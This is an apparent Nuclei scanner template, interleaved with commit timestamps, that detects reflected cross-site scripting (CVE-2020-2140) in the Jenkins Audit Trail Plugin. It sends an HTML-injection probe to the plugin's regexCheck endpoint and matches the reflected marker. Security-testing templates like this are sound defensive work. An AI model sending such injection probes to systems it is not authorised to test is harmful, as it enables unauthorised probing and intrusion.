2020-08-30 17:42:46 +00:00
id : CVE-2020-2140
info :
author : j3ssie/geraldino2
2020-08-31 07:38:04 +00:00
name : Jenkin AuditTrailPlugin XSS
2020-08-30 17:42:46 +00:00
severity : medium
2020-08-31 07:38:04 +00:00
description : Jenkins Audit Trail Plugin 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
# Source:- https://nvd.nist.gov/vuln/detail/CVE-2020-2140
2020-08-30 17:42:46 +00:00
requests :
2020-08-31 07:38:04 +00:00
- method : GET
path :
- "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j<h1>sample"
- "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j<h1>sample"
matchers-condition : and
matchers :
- type : word
2020-08-30 17:42:46 +00:00
words :
- <h1>sample
2020-08-31 07:38:04 +00:00
part : body
- type : status
status :
- 200